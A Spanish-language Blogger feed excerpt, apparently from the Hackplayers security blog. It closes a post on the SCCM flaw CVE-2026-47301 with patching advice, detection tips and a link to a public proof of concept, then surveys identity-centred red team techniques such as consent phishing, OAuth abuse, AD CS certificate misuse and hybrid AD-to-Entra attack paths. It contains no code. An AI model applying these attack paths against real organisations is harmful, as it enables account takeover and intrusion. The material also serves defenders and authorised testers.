href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUy4zcv2i7pC45jEq_sV9vSslCvQKW1JS9IDpHM10nNveeGsibpwIORrfNCkpqX5eQeARd-StYa6F3peMqQk-bPDHTea51xvHGgq_TTLFdAj551edV87KbEgaRlSoOhc7HwKuy82jPipYopPwt-ouWveH2vBwePYM5SORBxklcWHyOVyk6xfGe4kP0_MZg/s1536/Chain-CVE-2026-47301.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1536&quot; data-original-width=&quot;1024&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUy4zcv2i7pC45jEq_sV9vSslCvQKW1JS9IDpHM10nNveeGsibpwIORrfNCkpqX5eQeARd-StYa6F3peMqQk-bPDHTea51xvHGgq_TTLFdAj551edV87KbEgaRlSoOhc7HwKuy82jPipYopPwt-ouWveH2vBwePYM5SORBxklcWHyOVyk6xfGe4kP0_MZg/s1600/Chain-CVE-2026-47301.png&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;text-align: left;&quot;&gt;   &lt;/span&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante no es tanto cada técnica individual como &lt;strong&gt;la composición&lt;/strong&gt;. Ninguna de las piezas necesita ser espectacular. El resultado final sí lo es.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Imaginemos un Red Team que ya dispone de una cuenta corporativa normal. No estamos hablando necesariamente de Domain Admin. No estamos hablando de una vulnerabilidad pre-auth. Tenemos simplemente:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;credenciales válidas + conectividad hacia la infraestructura SCCM + una instancia vulnerable.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El CVE está definido precisamente con privilegios requeridos bajos (&lt;code dir=&quot;ltr&quot;&gt;PR:L&lt;/code&gt;) y vector de red (&lt;code dir=&quot;ltr&quot;&gt;AV:N&lt;/code&gt;).&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A partir de ahí, el atacante puede intentar convertir esa posición inicial en control sobre el servidor de Configuration Manager.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y éste es un escenario especialmente peligroso porque SCCM representa una &lt;strong&gt;frontera de privilegios&lt;/strong&gt; muy interesante.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Contramedidas&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft ha publicado actualizaciones para las versiones afectadas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La información disponible apunta a &lt;strong&gt;KB37864969&lt;/strong&gt; para Configuration Manager 2509 y &lt;strong&gt;KB38232642&lt;/strong&gt; para las ramas 2503/2603; Microsoft documenta específicamente KB38232642 como una actualización de seguridad que mejora la seguridad de Configuration Manager en el proceso de importación de extensiones de consola.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Además, Microsoft indica que para Configuration Manager 2509 la corrección está integrada en el segundo paquete acumulativo de actualizaciones, por lo que no es necesario instalar una revisión independiente fuera de banda.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por tanto, la primera recomendación es bastante poco sexy, pero absolutamente necesaria:&amp;nbsp;&lt;strong&gt;parchear SCCM.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y no solamente el sistema operativo. Hay que comprobar específicamente la versión de Configuration Manager y el nivel de actualización aplicado al sitio.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Además, yo añadiría varias comprobaciones.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Primero, identificar todos los &lt;strong&gt;Primary Site Servers&lt;/strong&gt; y comprobar su versión y nivel de parche.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Segundo, revisar quién tiene conectividad hacia los endpoints de &lt;strong&gt;AdminService&lt;/strong&gt; y limitarla en la medida de lo posible.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tercero, revisar las ACLs de los objetos de Configuration Manager en Active Directory, especialmente el contenedor &lt;code dir=&quot;ltr&quot;&gt;System Management&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuarto, monitorizar cambios inesperados en los directorios de instalación de Configuration Manager y cargas anómalas de DLL.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y quinto, investigar especialmente cualquier combinación de:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CAB upload
      +
unexpected file creation
      +
DLL load
      +
SMS_EXECUTIVE&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No es necesario esperar a encontrar un exploit completo en un EDR para detectar que algo raro está ocurriendo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit?utm_source=chatgpt.com&quot;&gt;PoC de CVE-2026-47301 en GitHub&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47301?utm_source=chatgpt.com&quot;&gt;Microsoft Security Update Guide&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2238681757949322258/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/08/cve-2026-47301-no-es-una-simple-elevacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2238681757949322258'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2238681757949322258'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/08/cve-2026-47301-no-es-una-simple-elevacion.html' title='CVE-2026-47301: de una simple elevación de privilegios en SCCM a ejecución como SYSTEM'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF84J8rzKCMlXK1tonpjwCfghT1rUTK1_AABFXKBOY8gSFtDVsaQxjz8nED12qar9Ak5OfXMuErH0QJ57MKzlMMzf5jRea0I14jEXMMw6YzOeMiwDg_mGcrn3wT4chmPML2-XTE4S14dQB4SSomaPK8nrZcOIvk6-Xt2v5KzaOfkEzfAXrKBcJczZA1vCL/s72-c/SCCM%20(System%20Center%20Configuration%20Manager).png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-6700956080907665383</id><published>2026-08-15T03:39:38.916+02:00</published><updated>2026-08-15T03:40:44.875+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AD"/><category scheme="http://www.blogger.com/atom/ns#" term="Azure"/><category scheme="http://www.blogger.com/atom/ns#" term="identidad"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><category scheme="http://www.blogger.com/atom/ns#" term="técnicas"/><title type='text'>Del endpoint a la identidad: las técnicas de Red Team que están tomando el relevo</title><content type='html'>&lt;p&gt;En el artículo anterior repasábamos diez técnicas de Red Team que, aunque muchas siguen siendo perfectamente válidas, ya no utilizaríamos como primera opción en una operación moderna. PowerShell, los bypasses genéricos de AMSI, &lt;code dir=&quot;ltr&quot;&gt;rundll32&lt;/code&gt;, Kerberoasting indiscriminado, NTLM relay, macros o un Cobalt Strike prácticamente salido de fábrica tienen algo en común: nacieron en un escenario en el que el endpoint y Active Directory eran el centro de prácticamente todo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero ese escenario ha cambiado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hoy una organización puede tener Active Directory on-premise, Entra ID, Microsoft 365, Azure, AWS, decenas o cientos de aplicaciones SaaS, dispositivos registrados en la nube, pipelines de CI/CD, identidades de aplicaciones, service principals, certificados, secretos y todo tipo de relaciones de confianza entre estos mundos. El usuario que tenemos delante puede autenticarse en el portátil corporativo, consultar el correo, acceder a GitHub, desplegar en Azure y utilizar varias aplicaciones SaaS con la misma identidad o con identidades estrechamente relacionadas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esto cambia bastante la película.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si antes conseguir una shell en un equipo era un paso fundamental de la operación, ahora puede que esa shell no nos sirva absolutamente para nada. Podemos tener ejecución local y seguir estando a kilómetros del objetivo. En cambio, una aplicación OAuth con permisos excesivos, una identidad de workload mal protegida o una relación de confianza entre Active Directory y Entra pueden proporcionarnos un camino mucho más interesante sin necesidad de ejecutar un payload especialmente sofisticado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La evolución que estamos viendo no consiste tanto en sustituir una herramienta por otra como en &lt;strong&gt;cambiar el objeto que intentamos comprometer&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El Red Team empieza a mirar menos al proceso y más a la identidad.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJFJVi9YOS6SBgiRaFGaU9BuctdrUOcCqQfyP_qghkn_4SpqRRNmv3RqLEvQdjtWLDjH6J3NSYvpgaBvBNoYd9biLLX7EtkRrwgjEQTmn8AWBXrHnQwFtqYSzxAPtSc7xmzIat8umkX53LsPZunCeu_uFELnuGp5pamU9tXV2U_nlZLLra331AFXe6xDES/s1536/identity_new_perimeter.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJFJVi9YOS6SBgiRaFGaU9BuctdrUOcCqQfyP_qghkn_4SpqRRNmv3RqLEvQdjtWLDjH6J3NSYvpgaBvBNoYd9biLLX7EtkRrwgjEQTmn8AWBXrHnQwFtqYSzxAPtSc7xmzIat8umkX53LsPZunCeu_uFELnuGp5pamU9tXV2U_nlZLLra331AFXe6xDES/w640-h426/identity_new_perimeter.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;1. Identity-First Red Team&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Probablemente este sea el cambio más importante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Durante mucho tiempo, una campaña de Red Team podía representarse de una manera bastante sencilla: encontrar una vulnerabilidad, conseguir un foothold, escalar privilegios, moverse lateralmente y acabar llegando a Domain Admin. Era un modelo muy orientado a máquinas y procesos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora podemos tener una situación bastante diferente. Tenemos un usuario comprometido, pero ese usuario no tiene por qué darnos una máquina interesante. Lo realmente importante es &lt;strong&gt;qué identidad representa, en qué aplicaciones está autorizada, qué grupos tiene, qué recursos puede utilizar y qué otras identidades puede alcanzar desde ahí&lt;/strong&gt;.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La pregunta deja de ser &quot;¿qué puedo ejecutar en este equipo?&quot; y pasa a ser algo bastante más interesante: &quot;¿qué puedo hacer siendo este usuario?&quot;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esta diferencia parece pequeña, pero cambia completamente la metodología. En un entorno moderno deberíamos prestar atención no solamente a usuarios y grupos, sino también a aplicaciones, service principals, managed identities, dispositivos, permisos delegados, permisos de aplicación, certificados, secretos y relaciones de confianza.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y cuando empezamos a representar todo esto como un grafo aparecen caminos que no tienen absolutamente nada que ver con el clásico &lt;code dir=&quot;ltr&quot;&gt;WORKSTATION → SERVER → DC&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por ejemplo, un usuario aparentemente poco privilegiado puede tener acceso a una aplicación que dispone de determinados permisos sobre Microsoft Graph. Esa aplicación puede tener una identidad propia en el tenant, esa identidad puede tener acceso a determinados recursos y alguno de esos recursos puede contener credenciales o información que nos lleve al siguiente salto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El camino puede ser perfectamente legítimo desde el punto de vista de cada componente.&amp;nbsp;&lt;strong&gt;Lo interesante es la cadena.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esta es precisamente la filosofía que hay detrás de los &lt;em&gt;attack paths&lt;/em&gt; modernos: no buscar únicamente una vulnerabilidad crítica, sino descubrir cómo varias relaciones aparentemente inocuas pueden combinarse para terminar alcanzando un activo importante.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;2. Entra ID ya no es &quot;el Azure AD de antes&quot;&lt;/b&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Durante años, para muchos pentesters Entra ID era poco más que el sitio donde estaban los usuarios de Microsoft 365. Esto se ha quedado bastante corto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Entra ID se ha convertido en una pieza fundamental del plano de identidad de muchas organizaciones y, por tanto, también en un objetivo de Red Team. Microsoft lo plantea como un sistema de identidad y control de acceso que se encuentra en el centro de numerosos servicios cloud y aplicaciones corporativas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Además, la cantidad de objetos que encontramos allí es considerablemente mayor que la que solemos tener en un Active Directory tradicional. Tenemos usuarios y grupos, pero también aplicaciones, service principals, dispositivos, roles, managed identities y diferentes mecanismos de autenticación y autorización.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y aquí aparece una diferencia importante respecto al AD tradicional: &lt;strong&gt;una aplicación puede ser una identidad&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft distingue entre el objeto de aplicación y el service principal que representa esa aplicación dentro de un tenant. Esto significa que cuando analizamos permisos no deberíamos mirar únicamente quién puede acceder a una aplicación, sino también qué puede hacer la aplicación y quién tiene capacidad para modificarla o administrarla. Esto abre una superficie de ataque enorme.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una aplicación con permisos excesivos puede ser mucho más interesante que un usuario con una contraseña débil. Un service principal con privilegios innecesarios puede convertirse en un camino hacia recursos críticos. Y una identidad de aplicación olvidada, con un secreto que nadie ha rotado en años, puede ser precisamente el tipo de hallazgo que un Red Team debería buscar.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En otras palabras, &lt;strong&gt;el directorio ya no contiene solamente personas&lt;/strong&gt;. Contiene máquinas, aplicaciones y servicios que también tienen identidad y privilegios.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;3. OAuth: cuando no necesitas robar la contraseña&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Uno de los cambios más interesantes es que cada vez resulta menos necesario pensar en términos de &quot;robar una contraseña&quot;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;OAuth permite que una aplicación obtenga permisos para acceder a determinados recursos en nombre de un usuario o mediante su propia identidad. En Microsoft Entra encontramos permisos delegados y permisos de aplicación, y estos últimos son especialmente relevantes porque permiten que una aplicación acceda a recursos sin que exista necesariamente un usuario interactivo detrás.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto introduce una situación curiosa: el usuario puede autenticarse correctamente, MFA puede funcionar correctamente, el proveedor de identidad puede considerar que todo está bien y aun así podemos acabar concediendo a una aplicación más permisos de los que deberíamos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El conocido &lt;em&gt;consent phishing&lt;/em&gt; es un ejemplo bastante claro. En lugar de intentar obtener la contraseña del usuario, se intenta conseguir que éste conceda permisos a una aplicación controlada por el atacante. Microsoft documenta precisamente este escenario como una amenaza específica y proporciona mecanismos para revisar y revocar los permisos concedidos a aplicaciones. Para un Red Team esto cambia bastante el enfoque.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En lugar de buscar únicamente credenciales, merece la pena mirar quién puede registrar aplicaciones, quién puede conceder consentimiento, qué aplicaciones existen en el tenant, qué permisos tienen, quién aparece como propietario y qué secretos o certificados utilizan.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y hay algo especialmente interesante: &lt;strong&gt;OAuth puede convertir una autenticación perfectamente legítima en un acceso perfectamente legítimo... hacia un recurso que no debería estar al alcance de esa aplicación&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es decir, no se ha explotado Windows, no se ha hecho bypass de AMSI, no se ha lanzado Cobalt Strike. Simplemente se ha abusado de una relación de confianza. Y probablemente veremos mucho más de esto en los próximos años.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;4. Cloud Attack Paths: el grafo es el nuevo mapa&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una de las cosas que más cambia cuando entramos en cloud es la forma de entender el movimiento lateral.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En un entorno tradicional estamos acostumbrados a pensar en máquinas: una IP lleva a un servidor, el servidor nos proporciona credenciales, esas credenciales permiten acceder a otra máquina y así sucesivamente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En cloud, el concepto de &quot;máquina&quot; deja de ser suficiente. Un recurso puede tener asignada una identidad administrada, esa identidad puede disponer de un rol sobre otro recurso, ese recurso puede tener acceso a un secreto y ese secreto puede permitirnos autenticarnos como otra identidad.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cada elemento por separado puede parecer poco interesante pero la combinación puede ser crítica.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft Defender for Cloud utiliza precisamente un &lt;em&gt;Cloud Security Graph&lt;/em&gt; para representar recursos, permisos, conexiones, exposición y vulnerabilidades y encontrar caminos de ataque que permitan alcanzar recursos críticos. Desde el punto de vista ofensivo, la idea es tremendamente atractiva. En vez de preguntarnos: &quot;¿Qué vulnerabilidad tiene este servidor Azure?&quot; podemos preguntarnos: &quot;¿Qué camino existe desde la identidad que tengo ahora hasta el recurso que realmente me interesa?&quot;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esto nos lleva a escenarios como:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Web App
   ↓
Managed Identity
   ↓
Key Vault
   ↓
Secret
   ↓
Service Principal
   ↓
Azure Resource&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante no es necesariamente que exista una vulnerabilidad crítica en ninguno de esos componentes. Lo interesante es que &lt;strong&gt;todos confían entre sí&lt;/strong&gt;. El ataque consiste en recorrer esa confianza.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;5. SaaS: el movimiento lateral ya no necesita una red&lt;/b&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí es donde el concepto clásico de &lt;em&gt;lateral movement&lt;/em&gt; empieza a quedarse un poco viejo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Antes pensábamos en algo parecido a:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;PC01 → PC02 → FILESERVER → SQL → DC&lt;/code&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora puede ser:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Microsoft 365 → GitHub → Jira → CI/CD → Azure → producción&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y lo más divertido es que quizá esos sistemas ni siquiera estén en la misma red.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Las organizaciones utilizan cada vez más servicios SaaS y los conectan mediante SSO, OAuth, API tokens, aplicaciones y automatizaciones. El resultado es una enorme red de confianza que no aparece en un diagrama de red tradicional.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un usuario puede tener acceso a GitHub y, al mismo tiempo, a Jira. Una integración puede tener acceso al repositorio y otra al pipeline. El pipeline puede disponer de una identidad con permisos sobre Azure. Y en algún punto puede existir un secreto que conecta dos mundos que, sobre el papel, parecían completamente separados.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso, cuando comprometemos una cuenta SaaS durante un Red Team, la pregunta no debería ser simplemente: &quot;¿Qué datos puedo robar aquí?&quot; También deberíamos preguntarnos:&amp;nbsp;&lt;strong&gt;&quot;¿Qué otras identidades, aplicaciones, tokens o sistemas confían en esta cuenta?&quot;&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El movimiento lateral ya no necesita ser lateral. Puede ser &lt;strong&gt;de servicio en servicio&lt;/strong&gt;.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;6. AD CS: cuando la credencial es un certificado&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Mientras en cloud aparecen nuevos tipos de identidad, en el mundo on-premise también tenemos tecnologías que merecen mucha más atención. Una de ellas es Active Directory Certificate Services.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;AD CS permite emitir certificados utilizados para diferentes propósitos dentro de una organización. El problema aparece cuando las plantillas y permisos no están correctamente configurados. Algunas configuraciones permiten escenarios donde un usuario puede obtener certificados que representan identidades que no debería poder asumir.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft documenta, por ejemplo, el riesgo asociado a determinadas plantillas en las que el solicitante puede especificar información del Subject Alternative Name.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí el cambio de mentalidad es importante: no estamos robando una contraseña, no estamos haciendo pass-the-hash, no estamos crackeando un ticket... Estamos aprovechando la confianza que el dominio deposita en su infraestructura de certificados. Y una vez más aparece el mismo patrón:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;identidad → confianza → privilegio.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;AD CS es especialmente interesante porque conecta perfectamente el Red Team clásico de Active Directory con el nuevo modelo basado en identidades. Es una de esas tecnologías que llevan años ahí, pero que adquieren una importancia enorme cuando dejamos de pensar exclusivamente en hashes y contraseñas.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;7. Windows Hello for Business: atacar donde antes no había nada que robar&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Otro cambio interesante llega precisamente de la evolución de la autenticación. Durante años, el atacante buscaba contraseñas, hashes, tickets o credenciales almacenadas. Pero si una organización adopta autenticación resistente al phishing y mecanismos basados en claves, algunas de esas oportunidades desaparecen.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Windows Hello for Business utiliza credenciales basadas en claves y vincula la autenticación al dispositivo, evitando depender de una contraseña reutilizable como principal secreto de autenticación.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto obliga al atacante a cambiar de mentalidad. Si antes podíamos pensar:&amp;nbsp;&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Usuario → contraseña → reutilización&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;ahora tenemos algo más parecido a:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Usuario
   +
Dispositivo
   +
Clave privada
   +
PIN / biometría
   ↓
Autenticación&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y de repente el dispositivo adquiere mucha más importancia. ¿Cómo se registra? ¿Dónde se protege la clave? ¿Qué ocurre durante el provisioning? ¿Qué modelo de confianza se está utilizando? ¿Qué sucede cuando se pierde el dispositivo? ¿Qué relaciones existen entre la identidad del usuario y la identidad del dispositivo?&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Estas preguntas son mucho más interesantes que intentar encontrar otra manera de robar una contraseña que ya no existe.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La moraleja es bastante sencilla: &lt;strong&gt;cuando una defensa elimina una credencial, el Red Team tiene que buscar dónde se ha desplazado la confianza&lt;/strong&gt;.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;8. Device Identity: no eres solamente tú, también es desde dónde llegas&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esto nos lleva directamente a la identidad del dispositivo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En los entornos modernos ya no basta con saber quién está realizando una autenticación. También importa desde qué dispositivo, cuál es su estado, si está registrado, si está gestionado y, dependiendo de la política, si cumple determinados requisitos. Esto permite construir decisiones de acceso mucho más complejas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un usuario autenticado desde un dispositivo corporativo y gestionado puede recibir un tratamiento completamente diferente al mismo usuario desde un equipo desconocido. Para el Red Team esto significa que el dispositivo deja de ser simplemente &quot;la máquina que tenemos delante&quot;.&amp;nbsp;&lt;strong&gt;Forma parte del contexto de autenticación.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y eso abre una superficie que merece ser investigada: dispositivos antiguos, registros huérfanos, procesos de enrolamiento, dispositivos híbridos, relaciones usuario-dispositivo, mecanismos de recuperación y, sobre todo, quién tiene capacidad para registrar o modificar esas identidades.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es un cambio sutil, pero importante. La pregunta ya no es únicamente: &quot;¿Quién eres?&quot; También puede ser:&amp;nbsp;&lt;strong&gt;&quot;¿Desde dónde estás intentando demostrar que eres tú?&quot;&lt;/strong&gt;&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;9. Workload Identity: usuarios que no tienen nombre&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay otro tipo de identidad que suele pasar bastante desapercibida: la identidad de las aplicaciones y workloads.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un pipeline de CI/CD necesita autenticarse. Una aplicación necesita acceder a una base de datos. Un servicio necesita leer un secreto. Una automatización necesita desplegar recursos. Y todas esas cosas necesitan identidad.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El problema es que nadie se va de vacaciones, cambia de departamento o recuerda que tiene que rotar su contraseña. Son identidades que pueden permanecer años funcionando con permisos que fueron concedidos para resolver un problema puntual.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft engloba este tipo de identidades bajo el concepto de &lt;em&gt;workload identities&lt;/em&gt; y destaca precisamente el riesgo que representan cuando acumulan credenciales y permisos excesivos. Para un Red Team esto es oro, porque una cuenta humana comprometida puede darnos acceso limitado, mientras que una identidad utilizada por un pipeline puede tener permisos para desplegar código, leer secretos o modificar infraestructura. Y volvemos al mismo patrón que estamos viendo en todo el artículo:&amp;nbsp;&lt;strong&gt;la identidad que más poder tiene no tiene por qué ser una persona.&lt;/strong&gt;&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;10.&amp;nbsp;&lt;/b&gt;AD → Entra: probablemente el camino más interesante&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y si hay un escenario que resume perfectamente todo lo anterior es el híbrido. La mayoría de las grandes organizaciones no han abandonado Active Directory para pasar mágicamente a Entra ID. Conviven ambos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tenemos usuarios locales sincronizados con la nube, infraestructura de Microsoft Entra Connect, dispositivos híbridos, aplicaciones que todavía dependen de Kerberos y otras que utilizan OAuth, Microsoft Graph o tokens.&lt;/p&gt;&lt;p 